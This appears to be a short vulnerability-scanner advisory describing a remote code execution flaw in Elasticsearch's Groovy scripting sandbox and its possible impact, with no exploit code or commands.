The Elasticsearch application hosted on the remote web server is affected by a remote code execution vulnerability due to unspecified flaws in the Groovy script engine. A remote unauthenticated attacker, using a specially crafted request, can escape the sandbox and execute arbitrary Java code. A successful attack could allow the user to gain a remote shell or manipulate files on the remote system.
